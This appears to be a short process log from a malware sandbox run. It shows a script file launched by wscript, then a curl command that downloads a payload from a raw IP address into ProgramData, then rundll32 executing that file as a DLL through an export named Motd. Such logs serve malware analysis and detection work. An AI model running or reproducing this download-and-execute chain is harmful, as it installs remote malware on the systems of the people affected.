wscript.exe "C:\Windows\System32\wscript.exe" C:\Users\test22\AppData\Local\Temp\Funds_792120.wsf
2556curl.exe "C:\util\curl\curl.exe" --output c:\programdata\index.html --url http://216.120.201.169/aSxBaqnfj98wz.dat
2708rundll32.exe "C:\Windows\System32\rundll32.exe" c:\programdata\index.html,Motd
2844